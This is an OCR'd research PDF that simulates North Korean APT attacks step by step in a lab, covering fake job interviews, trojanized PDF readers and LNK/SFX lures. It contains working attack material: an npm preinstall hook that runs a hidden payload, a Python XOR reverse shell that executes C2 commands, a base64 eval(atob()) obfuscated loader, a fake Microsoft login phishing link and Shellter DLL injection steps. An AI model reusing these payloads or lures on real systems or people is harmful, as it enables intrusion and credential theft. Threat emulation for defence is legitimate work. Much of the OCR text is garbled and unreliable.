NORTH KOREA APT GROUPS
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This PDF is a compilation of all North Korea APT simulations that target many vital sectors,both private and
governmental. The simulation includes written tools, C2 servers, backdoors, exploitation techniques, stagers,
bootloaders, and many other tools that attackers might have used in actual attacks. These tools and TTPs
(Tactics, Techniques, and Procedures) are simulated here.

These are all the names of the North Korea APT groups, and | simulated one attack for each group.

Famous Chollima :
Labyrinth Chollima :
Ricochet Chollima :
Silent Chollima:
Stardust Chollima:
Velvet Chollima :
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Famous Chollima

Thisis a simulation of attack by (Famous Chollima) APT group targeting job seekers to accomplish their goals
and wide variety of United States (US) companies, the attack campaign was active early as December 2022, The
attack chain starts with attackers invites the victim to participate in an online interview. The attackers likely uses
video conferencing or other online collaboration tools for the interview. During the interview, the attackers
convinces the victim to download and install an NPM-based package hosted on GitHub. The actors likely
presents the package to the victim as software to review or analyze, but it actually contains malicious JavaScript
designed to infect the victim’s host with backdoor malware. | relied on paloalto unit42 to figure out the details
to make this

: A\

This attackincluded several stagesincluding During the interview, the attackers convinces the victim to download
and install an NPM-based package hosted on GitHub. The attackers likely presents the package to the victim as
software to review or analyze, but it actually contains malicious JavaScript designed to infect the victim’s host
with backdoor.

HackerNews:

Social Engineering Technique: The Attackers attempts to infect software developers with malware through
a fictitious job interview.

GitHub Abuse (Supply-Chain): The Attackers exploited GitHub, a trusted platform used daily by developers,
to deliver or distribute malicious packages, leveraging its legitimacy and widespread adoption. When
developers clone and run the project, the malware executes in their environment.

NPM-based package hosted on GitHub: Create obfuscated JavaScript-based payload hidden inside Node

Package Manager (NPM) packages. InvisibleFerretis a simple but Python-based backdoor. Both are cross-
platform malware that can run on Windows, Linux and macOS.
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https://unit42.paloaltonetworks.com/two-campaigns-by-north-korea-bad-actors-target-job-hunters/
https://thehackernews.com/2023/11/north-korean-hackers-pose-as-job.html

Python backdoor: The component for InvisibleFerret deploys remote control and information stealing
capabilities. Once executed, it prepares the environment by installing the Python packages, if they are not
already present on the system.

TCP-C2 Server with XOR key: The C2 server returns JSON data instructing the backdoor with the next
actions to take. The JSON response contains the same XOR key.

o , =l

threat actor victim conducts victim downloads victim installs npm package backdoor

poses as online job malicious npm malicious npm retrieves and malware
prospective interview package from package runs backdoor establishes

employer Github malware access on
victim's host

The first stage (Social Engineering Technique)

The attackers lure their victims by inviting them to job interviews. In other cases, the attackers themselves apply
for jobs using fake identities. They exploit the idea that people are in need of work or are seeking better
opportunities, impersonating individuals applying for a position at a company. Thisis a clever tactic, as
exploiting resources is far more valuable than just simply using them.
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The logic behind this type of attack lies in the idea that instead of launching a direct attack on a company, an
attacker can target an individual such as someone who was recently laid off and is actively seeking job
opportunities. This person might still have access credentialsto their former company’s email or possess sensitive
company information. By compromising them, the attacker can gainindirect access to the organization.
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Additionally, even without these specific circumstances, the second part of the logic is that many individualsin
the IT and software development community commonly look for freelance work alongside their main job. Thisis
a perfectly normal behavior, making it a natural and less suspicious entry point for attackers to exploit.

Trading SELLING ISl accounts for rent - BEST ON MARKET

Dear. | could say | am a senior developer and trusted guy. Please contact with me by jac i NG 2 g mail.com.
From your guy sincerely.
Andrew JackSon - Post #2 - Feb 9, 2023 - Forum: Il Accounts - Buy Sell Trade

[SELLING' | have new Il account for selling

Dear. | could say | am a senior developer and trusted guy. Please contact with me by jac i NG 2gmail.com.
From your guy sincerely.
Andrew JackSon - Post #10 - Feb 9, 2023 - Forum: |l Accounts - Buy Sell Trade

[SELLING | am renting my EUROPEAN NIl verified account (250$ monthly)

Dear Milos. | could say | am a senior developer and trusted guy. Please contact with me by jac il NG Qg mail.com.
From your guy sincerely.
Andrew JackSon - Post #12 - Feb 9, 2023 - Forum: (Jllll Accounts - Buy Sell Trade

[SELLING' 5000 dollars earning full stack account
jac I 2 o mail.com
Andrew JackSon - Post #3 - Feb 9, 2023 - Forum: - Accounts - Buy Sell Trade

[SELLING) | can make Il for you! Prepayment only
jac I 2 mail.com

Andrew JackSon - Post #3 - Feb 9, 2023 - Forum: [l Accounts - Buy Sell Trade

(SELLING' I 2ccounts
jac N @ g mail.com
Andrew JackSon - Post #3 - Feb 9, 2023 - Forum: [l Accounts - Buy Sell Trade
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The second stage (delivery technique GitHub-Abuse)

The attackers took advantage of the fact that their victims were part of the software development and IT
community, possessing technical expertise and regularly working with GitHub. At the same time, using an open
source project during a technical interview doesn’t seem unusual. Asking the victim to share their screen and
test some code to assess their technical skills appeared to be a reasonable and clever tactic, especially when
targeting victims from the IT field.

« = C o O 8 https [/github.com/S3N4TOR-0X0/Famous-Chollima/upload/main bl & ® & =
KaliLinux & Kali Tools < KaliDocs ¥ KaliForums e Kali NetHunter Exploit-DB Google Hacking DB OffSec Grok
= O S3N4TOR-0X0 / Famous-Chollima & Q. Type [7] to search S|~ + - |[@]Inlla :}‘
<> Cod (O] ® .
ode (O Issues I Pullrequests () Ac p— File Upload Q -
© Recent 4 APT  Famous Chollima  my-malicious-package »
A  Home Name ~ Size Type Modified
. Documents _
¥ Downloads
434  Music
B Pictures
. Videos
+  Other Locations

AllFiles =

However, in some of the repositories created by the attackers, they forgot to disable comments on the project.
As a result, some users and security researchers discovered the malicious technique and left comments on the
repository warning that it contained malware and should not be used. This mistake was not identified early
enough. Additionally, there were other repositories where the attackers should have deleted the comments
after uploading the malicious code.

| Security [~ Insights

RTI Docs

Virus Alert #71

) toufique-imam opened this issue 2 weeks ago - 1 comment

* toufique-imam commented 2 weeks ago

Assignees

No one assigned
This is a scam repo. Check config/ServiceWorker.js it's minified code so that you won't

understand what it does. It downloads and runs a python script which will upload your
credentials to a remote server. stay safe Labels

None yet

© e

Projects

None yet
. Xethd4rth commented last week see

Milestone

This is a scam repo. Check config/ServiceWorker.js it's minified code so that you -
No milestone

won't understand what it does. It downloads and runs a python script which will
upload your credentials to a remote server. stay safe
Thought so. This repo was given to me apparently as a "job offer" and | had to run Development
this script. The levels of scams happening. No branches or pull requests
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The third stage (implanting technique NPM-package)

The attackers created an NPM package that, in turn, executes obfuscated JavaScript code, _

sudo apt-get install npm

mkdir my-malicious-package
cd my-malicious-package
npm init -y

r==1

"name": "my-malicious-package”,
"version": "1.0.0",
"description®: "",
"main": "index.js",
[=Debug
"scripts*: {

"preinstall": "node payload.js"

"keywords": [],
Ilauthor—ll: Ll II'
"license": "ISC"

Now i will create the JavaScript file using the command _ Then, i paste the following code

inside it, which contains only the - command just to test that everything is working correctly before

adding the main payload and obfuscate Java Script code.

const { exec } = require('child_process');

exec( 'whoami', (error, stdout, stderr) = {
if (error) {
console.error( Error: ${error.message}’)};
return;
}
if (stderr) {
console.error( Stderr: ${stderr} );
return;
}
console.log( Output: \n${stdout} );
1);
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The fourth stage (Python Backdoor)

The attackers created a simple payload that performs two main tasks:

During our investigation of Contagious Interview, we discovered two new families of malware we named

BeaverTail and InvisibleFerret. BeaverTail is JavaScript-based malware hidden inside Node Package Manager

(NPM) packages. InvisibleFerret is a §ite . Both are cross-platform

malware that can run on Windows, Linux and macOS.
The first task is establishing a connection to a C2 server over TCP with XOR encryption.

The second task is stealing credentials from the victim's browser.

Browser Stealer Functionality

Based on Python, InvisibleFerret targets popular web browsers on Windows, Linux and macOS to steal login
credentials and other sensitive data. This functionality includes retrieving a browser’s login data, decrypting

the information and stealing the victim's login credentials. InvisibleFerret can also retrieve credit card

information used by the victim through a web browser.

After collecting this information, InvisibleFerret sends the data to a C2 server using the J[SON format with

various keys representing the content, as shown below in Figure 8.

This Python payload creates a reverse TCP shell that connects to a command-and-control (C2) server.

victim C2 server

JSON sent over TCP port 1245
{

"code": 0,
"args": {
"type": 0,
"group": "<sType>"
"name": "<sHost>"
}
}




The scriptimports libraries for socket communication, subprocess execution, base64 encoding, and web
Browser interaction.

It defines XOR encryption/decryption functions to secure data exchange with a hardcoded key.

Upon execution, it opens urlina web browser and establishes a TCP connection to a specified C2 server
(ip:port).

The script authenticates with the server, receives encrypted commands, executes them locally, and sends
back encrypted results.

XOR _KEY = 22
C2 SERVER = "192.168.1.104"
C2 PORT = 2222

def reverse_tcp():
# Open Google URL when the script runs
webbrowser.openl“https:/flogin.microsoftonline.com/commn/oautthvz.Bfauthorize?client 1d=%20%20%20%20%20%2

client = socket.socket(socket.AF INET, socket.SOCK STREAM)
client.connect((C2_SERVER, C2_PORT) )

try:
auth message = xor encrypt decrypt(b"AUTH", XOR KEY)
client.send(auth message.encodel))

except Exception as e:
print(f"[!] Failed to send AUTH: {e}")
client.close()
return

while True:
try:
encrypted command = client.recv(1024).decode()
if not encrypted command:
break

command = xor decrypt base64(encrypted command, XOR KEY)

The question here is: Why do attackers choose Python, even though it is not a built-in language in Windows like
PowerShell scripts or CMD, meaning it cannot run without installing the necessary packages?

The answer liesin the targetitself mainly software engineers. These individuals already have all the required
packages installed, as Python is one of the most commonly used programming languages. Additionally, Python
offers another advantage: scripts can be as short as just 60 lines, making modifications to any script hosted on

GitHub nearly undetectable with obfuscated JavaScript and deleted the comments after uploading the
malicious code.
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The fifth stage (execution technique with obfuscated JavaScript-based payload hidden inside NPM)

Now i will replace the whoami command with the actual payload inside the JavaScript file and obfuscate it using
BEAR-C2.

| J Open ~ 0 ReverseTCP_XOR.py ® q o

~IAPTIFamous Chollima/my-malicious-package

1 socket
2 subprocess
= baseb4
& webbrowser
5
6 xor_encrypt_decrypt(data, key):
7 encrypted_bytes = bytes(lb " key b datal)
8 base64.b64encode(encrypted_bytes).decode()
9
10 xor_decrypt_base64(data, key):
11 decrypted_bytes = base64.b64decode(data)
12 bytes([b "~ key b decrypted_bytes]).decode()
13
14 XOR_KEY = 22

15 C2_SERVER 192.168.1.1084"
16 C2_PORT = 2222

17

18 reverse_tcp{):|

19

20 webbrowser.open("https://login.microsoftonline.com/commn/oauth2/v2.0/authorize?

client_id=%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2 0%
20%20=4765445b-32¢6-49b0-83e6-1d93765276¢cabredirect _uri=a560d-102-185-35-134.ngrok-free.app")

21

22 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
23 client.connect((C2_SERVER, C2_PORT))

24

25 H

26 auth_message = xor_encrypt_decrypt(b"AUTH", XOR_KEY)
27 client.send(auth_message.encode())

28 Exception e:

29 print(f"[!] Failed to send AUTH: {el}")

30 client.close()

Now | will open the obfuscation tool included in BEAR-C2, select the JavaScript file to obfuscate it, then upload
the payload to GitHub and begin the Command and Control operation.

BEAR-C2

BEAR-C2 g_‘;éServer o

. ! ! " a
Tactical-Arsenal isi Operations S@EReccn ®Abnut

| Protocol - Session ID | Operator Address \ Session Status | Target Hostname Check-in Time Target OS - Arch Process ID Target IP

Script Obfuscator

‘ This program supports obfuscation only for (PS1, BAT, HTML, REG, VBS, and |S files) ‘

UDTUSCATed CONTENT preview (TLrsT buY Cnars):
eval(atob("Y29uc3QgeyBleGViIHBgPSBYZXF1laXl1KCdjaG1lsZF9wemdj ZxNzIyk7CgovLyBQeXRob24gc2NyaXxBa

FzIGEgc3RyaWwsnLCBrZxXBOIHZ1c 10gc29ja2vecmltcGayd
zdWIwema | ZXNzCmLtcGAydCBiYX Success (%] ijenlwdFokZwlyeXBOKG
dGEsIGtleSkECiAgICBLbnNyeXB )biBKYXRhXSKKICAQIH]
HVybiBiYXNLNjQuYjYeZw5jb2RL , Script obfuscated successfully: 13J7ZGVjcnlwdFIiYXNL y
00ZGFOYSWga2V5KToKICAGIGRLY obfuscated payload.js Q
Decoded JavaScript conten - :('child process');
OK

// Python script as a strin Ol
const python
Similarity score for decoded vs original: 1.88

Choose Script ‘ Obfuscate Script

[ 2]BEAR >>
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The JavaScript file is now obfuscated using the built-in obfuscation tool provided by BEAR-C2.

obfuscated_payload.js ©

~Igui B!

v

[ Open ~ M

1 Bval(atob("Y29uc3QgeyBleGVjIHOgPSByZXFlaXJ1KCdjaGlsZFOwcm9jZXNzIyk7CgovLyBQeXRob24gc2NyaXBOIGFz IGEgc3RyaWSnLCBrZXBOIHZ1cmIhdGltCmNvbnNOIHB5dGhvb1NjcmlwdCA9IGBp-
bXBvcnQgc29ja2veCmltcG9ydCBzdWIwcm9 jZXNzCmltcGOydCBiYXNINFOQKaWlwb3J@IHd1YmIyb3dzZXIKCmMRLZiB4b3IFfZWS jcnlwdFI9kZWNyeXBOKGRhdGESIGtleSk6CiAgICBlbmNyeXBOZWRFYnl@ZXM-
gPsBieXRlcyhbYiBeIGtleSBmb3IgYiBpbiBkYXRhXSkKICAEIHILdHVYbiBiYXNLINIQUYIYOZWSjb2RIKGVUY3I5cHRLZF9ieXRlcykuZGY jb2RIKCKKCmMRLZiB4b3IfZGVicnlwdF9iYXNINiQoZGFOYSwgaz2
V5KTOKICAgIGR1Y315cHRLZF9ieXR1lcyA9IGIhc2U2NC5iNjRkZWNVZGUOZGFOYSKKICAETIHI1dHVybiBieXRlcyhbYiBeIGtleSBmb3IgYiBpbiBkZWNYyeXBOZWRFYN1OZXNAKSSkZWNVZGUOKQOKWESSXO T FW-
SA9IDIYyCkMyX1NFULZFUIA9ICIXOTIuMTY4LJEUMTAGTIgpDML9QT1IUIDOEMj IyMgoKZGYmIHI 1dmVyc2VFdGNwKCk6CiAgTCAJTEQWZW4gR29vZ2Xx1IFVSTCB3aGVuIHRoZSBzY3IpcHOgcnVucwog ICAgd2Vi-
¥nJvd3Nlci5SvcGVuKCIodHRwczovL3d3dy5nb29nbGUuY29t IikKICAZIACEICAEY2xpZWS50ID0EC29ja2VOLNNvY2t1ldChzb2NrZXQuQUZ FSUSFVCwgc29ja2VALINPQet fUIRSRUFNKQogICAEY2xpZWS@LmN -
vbm51Y3QoKEMyX1NFULZFUiwgQz JfUE9SVCkpCgogICAEdHI5080g ICAEICAEIGF1dGhfbWVZzCc2FnZSA9IHhvc191lbmNyeXBOX2R1Y315cHQoYiJBVVRIIiwgWEISXOt FWSKKICAEICAEICBjbGl1bnQuc2VuzZe-
hhdXRoX211c3NhZ2UuZW5jb2R1KCkpCiAgICBleGN1cHQgRXhjZXBOaWIuIGFz IGU6CiAgICAgICAgcHIpbnQoZilbIVOgRMFpbGVKIHRY THN1bmQgQVVUSDoge2VITikKICAgICAgICE jb611bnQuY2xvc2UoK-
QogICAgICAgIHILdHVybgoKICAgIHdoaWx 1 IFRYdWUSCiAg ICAEICAEdHIS0g0g ICAgEICAEICAEICEBLbmNyeXBOZWRFY29thWFUZCA9IGNS aWVvudC5yZWN2KDEWM JQPLMR1Y29kZSgpCiAgICAEICAZ ICAEIGLm-
IG5vdCBLlbmNyeXBOZWRfY29tbWFUZDOKICAEICAEICASICAEICAEIGIYZWFrCgogICASICAEICAEICBjb21tYWS5kIDOgeGIyX2R1Y3IScHRFYMFZZTYOKGVUY3IScHRLZF9jb21tYWSKLCBYT11fSOVZKQOKICA~
gICAgICAgICAgaWYEY20tbWFUZC5sb3dlcigpIDO9ICI1eGLlOT joKICAEICAEICAEICAETCAETGIYZWFrCgog ICAETCAETCAgICBYZXN1bHOgPSBzdWIwemgjZXNzLnJ1bihjb21tYW5kLCBza6VsbD1UenVLLC-
Bj¥XBOdXJ1X291dHBE1dD1UcnV1LCBAZXhOPVRYdWUPCiAsICAgICAETCAETG91dHB1dCAOTHI 1 c3VsdC5zdGRvdXQeKyByZXN1bHQuc3RkZX JyCeogICAEICAETICAEICE 1 bmNyeXBOZWRFb3VacHVOIDOgeGOyX2
Vu¥3J5cHRFZGVjcnlwdChvdXRwdXQuZWS jb2R1KCks IFhPUL9LRVkpCiAgICAE ICAEICAEIGNs aWVudC5zZW5kKGVUY3IScHRLZF9vdXRwdXQuZWS jb2R1KCkpCgogICAEICAEIGV4Y2VwdCBFeGNL cHRpb24gY ~
XMgZToKICAgICAEICAEICAEdHIS0gogICAEICAEICAEICAEICAEZXIyb31fbWVzc2FnZSA9IHhvcl91lbmNyeXBOX2R1Y3I5cHQoZiJFcnlvcjoge2V9IiS1bmNvZGUoOKSWEWESSXOt FWSKKICAEICAEICAgICAE-
ICAgIGNsawvudC5zZWSKKGVYcm9yX211c3NhZ2UuZW5jb2R1KCKpCIAZICASICASICASIGV4Y2VwdDoKICAEICASICAEICAEICAEIHBhC3MKICAEICAEICAEICAZYNILYWSKCIAgICBIbGL1bnQuY2xvc2UoKQo-
KemV2ZXJ1zZV9eY3AOKWATCgovLYBEZXR1lcm1pbmUgdGhl IFB5dGhvbiBjb21tYWskICh@cnkgl3B5dGhvbiMnIGZpcnN@LCBMYWXSYmF jayBobyAncHl@aG9uJykKY29uc3QgcHl 8aG9uQ29tbWFUZCA9 IHBYb2
Nle3MucGxhdGZvem@gPTRIICd3aW4zMicgPyAncH108aGoulyA6ICdweXRob242zJzsKCi8vIEV4ZWN1dGUgdGh1IFB5dGhvbiBzY3JpcHQgYnkgcGlwaWSnIGLOTIHRVIHROZSBQeXRob24gaWS0Z X IwemVOZXTKY2
9uc3QgY29tbWFuZCA9IGBLY2hvICR7SINPTi5zdHIpbmdpZnkocHl@aGouU2NyaXBoOKS5yZXBs YWNLKCOcXG4vZyweI1lxcbicpfSBS8ICR7 cH1@aG9uQ29tbWFuZHOgLWA7CgpleGVjKGNvbWlihbmQsIChlenJve—
iwgc3Rkb3VOLCBzdGRLcnIpID@+IHSKICBpZiA0ZXJyb3IpIHSKICAZIGNVbnNvbGUUZXIyb3ToYEVycmIyIGV4ZWN1dGluZyBQeXRob24gc2NyaXBe0iAke2Vycmoylmllc3NhZ2VoYCk7CiAgICBjb25zb2x1—
LmVycm9yKGBFbnN1cmUgUHL@aGuIDMgaXMgaW5zdGFsbGVkIGFUZCBhY2N1c3NpYmxLIHZpYSAnJHtweXRob25Db21tYWSkfScuYCk7CiAgICBYZXR1cm47CiAgfQogIGLmIChzdGRlcnIpIHSKICAgIGNvbnN-
vbGUUZXJyb3I0¥FB5dGhvbiBzdGR1cnI6ICR7c3RKZXIy fWAPOWogICAZCcMVOdXIJUOWogIHOKICBjb252zb2X1LmXvZyhgUH10aG9uIG91dHB1dDpcbiR7 c3Rkb3VOfWAPOWPIKTSK"));

It's important to ensure that the payload file has the same name as defined inside the NPM package before
uploading it to GitHub.

ST = =R ¢ S3NATOR-0X0 Add files via upload . o
Q Go to file t
- Code Blame n ) Byt - -7
[ README.md
I [9 package.json 1 { ‘

package",

[ payload.js

": "node payload.js"

The final resultis the successful establishment of a Command and Control channel. This is achieved by
delivering a phishing link that mimics Microsoft login pages using BEAR-C2’s phishing module combined with an
obfuscated JavaScript payload. Once executed, the payload initiates a reverse TCP connection to the attacker’s
server, encrypted with XOR, allowing secure data exfiltration and remote command execution.

— Apps  Places Jul7 01:29 o 3 ¥ ® & 313%
& seanc2 Q Server 5 Tactical-Ar
External 1P Port:  BOSO URL Mask:  loginmicrosoftoniine.com

Protocol - Session 1D Operator Add *rocess 1D Target 1P
Rq;-"F TCP - XOR - 2] 192.168.162.124 ° phishing Copy URL ~s_NT™ - AMD64"

i

win [R g] - Oracle Vi B8
- <scrip
£ HE S o oy M m—
- > o St e e o @& g

Enter OTP

rom (1 — — = © @ e S

Start Server Stop Server

[ 2] BEAR >>
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Labyrinth Chollima

Thisis a simulation of attack by (Labyrinth Chollima) APT group targeting victims working on energy company
and the aerospace industry, the attack campaign was active before June 2024, The attack chain starts with
relies on legitimate job description content to target victims employed in U.S. critical infrastructure verticals.

The job description is delivered to the victim in a password-protected ZIP archive containing an encrypted PDF
file and a modified version of an open-source PDF viewer application, | relied on Mandiant to figure out the
details to make this simulation:

Based on the surrounding context, the user was instructed to open the PDF file with the enclosed trojanized PDF
viewer program based on the open-source project SumatraPDF.

SumatraPDF is an open-source document viewing application that is capable of viewing multiple document file
formats such as PDF, XPS, and CHM, along with many more. Its source code is publically available. If you need to
know more about SumatraPDF:

When accessed this way, the DLL files are loaded by the SumatraPDF.exe executable, including the trojanized
libmupdf.dll file representing the first stage of the infection chain. This file is responsible for decrypting the
contents of BAE_Vice President of Business Development.pdf, thus allowing the job description document to be
displayed as well as loading into memory the payload named MISTPEN. Mandiant found that later versions
(after 3.4.3) of SumatraPDF implement countermeasures to prevent modified versions of this DLL from being
loaded.
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https://cloud.google.com/blog/topics/threat-intelligence/unc2970-backdoor-trojanized-pdf-reader/?linkId=10998021
https://github.com/sumatrapdfreader/sumatrapdf

10 execuie BdeliSrv exe

malcious wisap32 @l

Create job description PDF file which will be sent spear phishing.

Use Shellter to inject DLL in the Sumatra pdf.exe which | will use in the attack through the pdf file that is used
inthe phishing campaign.

Executes the PDF file while simultaneously running (SumatraPDF.exe) in the background. This executable
contains the DLL payload, through which | will establish the reverse connection.

Waits for the incoming connection from the backdoor to data exfiltration when it is executed on the target
machine.

Executing an encrypted payload stored in a file and writing it to disk by BURNBOOK launcher
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The first stage (delivery technique)

Since the attackers here wanted to target victims working on energy company and the aerospace industry, The

attack starts with relies on legitimate job description content to target victims employed in U.S, Now | will

create a pdf file with the same phishing message that the actual attackers used in their phishing campaign.

2 job description.pdf

N,

(1B 1

-

on Proctdont
vice Yresident

Job Description
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r than 55% capture 1 this individual w recommend

pment and marketing Ve maximum ct ket

th. The preferred locatic IS position is
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ind will require freque

wsibilities include
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tics by lever , customer relation s, and inter

thion
ccute strategic and tactic r the pursuit and successfu > of key

>am of BD professionals to maximize customer e h efficient
and positioning o v bus
pursuits and
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ind maimtain customer il assess cor nes aligned
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Arca allocations of 1

her indirect costs (s

Required Education, Experience, & Skills
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The Second stage (implanting technigue)

Now | need to download the SumatraPDF program before version 3.4.3, so | chose version 3.4.1 because after
3.4.3 of SumatraPDF implement countermeasures to prevent modified versions of this DLL from being loaded.

uptodown to download the old version:

win [Running] - Oracle VM VirtualBox

F v3.4.1 64-bit

. _ 5:43 PM
== =" €™ SumatraPDF A = I A) ggm008

After that | will use Shellter to inject DLL in the Sumatra pdf.exe which | will use in the attack through the pdf file
that is used in the phishing campaign.

win [Running] - Oracle VM VirtualBox

s=e Operation Mode Auto - Manua 1 <A-MAHD>: a
*m Online Uersion Check? <¥ - N-H>: u

‘Getting latest version information from the official website...

You have the latest version?

PE Target: C:\Users\BlackWin\Desktop SumatraPDF.exe

>
Home Share (I < o o e 3

Backup: Shellter Backups\SumatraPDF_exe

5:34 PM (]
9/20/2024

= Re } TB inaccessible: shellte.. = Select ShellZer Shellter_Backups = £ 9»)
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https://sumatra-pdf-portable.en.uptodown.com/windows/download/62634650

After injecting the malicious DLL into (SumatraPDF.exe), | will bundle it with a non-malicious (job
description.pdf) file inside a ZIP archive. When the user open the ZIP file, it will trigger the background

execution of the injected (SumatraPDF.exe), which will establish a reverse connection.

) 7201 PM
== >» P ] T8 Aschive name and ... B D D) 5000008

In a previous simulation of a Russian APT, | used a similar approach but with an image file instead of a PDF. | will
replicate the same method now but without selecting the icon.
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The third stage (execution technique)

Now, when | open the ZIP file, it executes the PDF file while simultaneously running (SumatraPDF.exe) in the
background. This executable contains the DLL payload, through which | will establish the reverse connection.

658 PM
A B D) 500200

= (Q @™ job description.pdf ...

The fourth stage (Backdoor Listener)

In simulating this attack, | used the sixth C2 profile found in BEAR-C2.

This C2-profile waits for the incoming connection from the backdoor when itis executed on the target machine.

s3n4t0r@kali: ~/BEAR-C2

File Actions Edit View Help
RUSSTA
RUSSIA
RUSSIA

DES encrypti

5. Perl 8-bytes

on
or-Listener on

1
6. Backdoor y ]
7. GoogleDrive-API 1 RC4 encryption
8. Private Key-2048 1 RSA encryption
9 I

1
]
|
|
+
|
+

|

I

| Vvoodoo Bear RUSSIA
| . Discord-Bot ChaCha encryption Ember Bear RUSSIA
+

l18. Exit

+

Enter the IP address to listen on: fI
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https://github.com/S3N4T0R-0X0/BEAR

The fifth stage (DLL backdoor)

BURNBOOK is a launcher writtenin C that is capable of executing an encrypted payload stored in a file and writing
it to disk. This file is a modified version of a legitimate DLL file used by the SumatraPDF.exe binary. The DLL
contains malicious code that is triggered when the user opens the PDF lure (BAE_Vice President of Business
Development.pdf) using the provided SumatraPDF.exe file.

i} inmt main() {

I // Create a file handle for "Thumbs.ipi" with read-only access

5 HAMDLE FileA = CreateFileA(FileName, 0x80000800, lu, OLL, 3u, 8x88u, OLL};
v2 = FileA;

3 // Check if the file was opened successfully
] if (FileA == (HANDLE)-1LL) {
) return OxFFFFFFFFLL;

1

3 // Get the file size
} DWORD FileSize = GetFileSize(FileA, OLL);

3 // Check if the file size is at least 44 bytes
7 if (FileSize < 0x2C) {
3 return @xFFFFFFFFLL;

L // Read the key (32 bytes) and nonce (12 bytes) from the file
4 BYTE Buffer[32];

3 DWORD NumberOfBytesRead;

I if (!ReadFile(v2, Buffer, 0x20u, &NumberOfBytesRead, OLL) ||

j NumberofBytesRead != 32 ||

3 'ReadFile(v2, w11, ©xCu, &NumberOfBytesRead, OLL) ||
F NumberofBytesRead != 12) {

3 CloseHandle(v2);

] return O@xFFFFFFFFLL;

The BURNBOOK includes a network connectivity check that prevents the trojanized reader from displaying the
decrypted PDF lure if it cannot reach google[.]Jcom.

f // Check if there is an internet connection to google.com

5 if (InternetCheckConnectionW(L"http://www.google.com”, 1u, 0)) {
) // Pass the decrypied PDF path to sumairaPDF
) v9 = *(WORD*)(v2 + 8);

}

3 // Create another temporary file path for the decrypted PDF
I GetTempPathW(0x104u, PathName);
B GetTempFileMNamewW{PathName, OLL, ©, PathName);

r // Create the decrypted PDF file

3 v8 = CreateFilew(PathName, @x40000000u, 2u, OLL, 2u, ©0x80u, OLL):
'] if (v8 == (HANDLE)-1LL) {
) goto LABEL 49;

}
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Ricochet Chollima

Thisis a simulation of an attack by the (Ricochet Chollima) APT group, targeting several activists focused on North
Korea. The attack campaign began in March 2025. The attack chain started with spear-phishing. The email
contained a Dropbox link leading to a compressed archive that included a malicious shortcut (LNK) file. When
extractedand executed, the LNK file activated additional malware containing the keyword "toy." The content was
disguised as an academic forum invitation from a South Korean national security think tank to attract attention.

This simulation is based on research from Genians:

Based on the characteristics of the threat, Genians Security Center (GSC) named the campaign “Operation:
ToyBox Story”

The attacker impersonated a North Korea-focused expert based in South Korea, and the email used the subject
line “2{A|OF MEO =l Q1817 ZHHZ0|A .hwp” (To North Korean People’s Army Soldiers Deployed to
the Russian Battlefield.hwp) with the attachment carrying the same file name, the attachmentmimicked a Hangul

(HWP) document by displaying the HWP icon image used by Naver Mail, and the attacker leveraged this icon to
make the attachment appear as a legitimate file link, however the actual download link redirected to Dropbox,

which led to a ZIP archive named “2{A|OF & 0f| £ El 2T HH 0|7 .zip” (To North Korean People’s
Army Soldiers Deployed to the Russian Battlefield.zip).
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https://www.genians.co.kr/en/blog/threat_intelligence/toybox-story

Delivery Techniqgue: Create document file masquerading as information on North Korean troops deployed to

Russia.

Malicious shortcut: make single shortcut (LNK) file. This LNK file executes malicious code and shares the same

name as the ZIP archive, with only the file extension being different.

PowerShell Commands: The shortcut (LNK) file is configured to run via PowerShell commands embedded

arguments.

Toy.Bat: When the PowerShell command in “toy03.bat” file is executed, it loads “toy02.dat” file created in

temporary folder, functioning as a loader.

Dropbox C2: Get Command and Control through payload uses the Dropbox API to upload data including

command output to Dropbox.

TCP payload: This payload that establishes a TCP connection to a remote server for command execution.

Operation. ToyBox Story

W E IS >

Spear Dropbox &£
Phishing LINK "

@ e——
PowerShell
CMD

.t
‘.~‘

Shortcut
LNK

Download
ZIP

Genians

=

Backdoor

®

Shellcode
toy01.dat

PowerShell
toy03.bat

PowerShell
toy02.dat

&

Dropbox &£
c2 &

RokRAT &8

okta saha
roif gehru
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The first stage (delivery technique)

The attacker impersonated a North Korea-focused expert based in South Korea. The spear-phishing email
employed the subject line “2{A[OF &0 FAE QT FHZS0|A .hwp” (To North Korean Soldiers
Deployed to the Russian Battlefield.hwp), with an attachment carrying the identical file name. The attachment
was crafted to mimic a Hangul (HWP) document by leveraging the HWP icon image commonly associated with
Naver Mail, thereby increasing its credibility. The threat actor intentionally used this icon to make the file appear
as a legitimate document; however, the embedded link redirected the victim to a Dropbox-hosted payload
instead of delivering a benign file. The Dropbox URL ultimately provided a compressed archive containing
additional malicious components.

14

cHAIOF 8 &0 =& =

arH S0 A .hwp

=74

- X‘ o

PIE et S85AHL HiM 2. |
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The second stage (Malicious s

hortcut)

The archive named “2t & I A H zip” (Related Poster.zip) contained a benign JPG image alongside a malicious

LNK shortcut. Upon execution of the LNK file, a hidden PowerShell command embedded within the shortcut
was triggered, initiating the malicious activity.

BBE Archive name and parameters

Archive name

General | Advanced | Optiens | Files | Backup | Time | Comment |

A0 TE RRE DD TS, exe

Default Profile te mode
| il | add and replace files

Archive format
|7 &) RAR

Archiving opti

[CRelete files after archiving
() Create SFX archive

[ Create golid archive

[ add recovery record

() Test archived files
[Dueck archive

Advanced SFX options T =
General [ Setup program
Run after extraction
Modes powershell command Start-Process -~
L p—— "https: ffexample.com™
Update TERIAIOE TIEO| MBS TR B &N, doox” e
Text
Logo and icon Run before extraction
License -
Module
-
) Wait and return exit code
a exit code adjustment
aKk | [ canemt | | Help |
g

Now | need to create a JPG image that looks like a normal picture, but in the background when the image is
opened the PowerShell command starts running silently. At this stage | used WinRAR to bind the JPG with a
command line execution via CMD so that when the image is opened it triggers the hidden activity, and | also

used an icon format to make the fi

ile appear legitimate.

m Archive name and parameters

~NTFS

| General | Advanced | Options | Files | Backup | Time | Comment |

Advanced SFX optians ? <

() save file gecurity

() save file sgreams

() Store symbolic links as links
() Store hard finks as links

Recovery record
[r*i- Yt

[ Pause after a

o [ f-lr:cnvzry volumes

() Background archiving
[ Waitif other WINRAR copies are

active

Advanced SFX optians

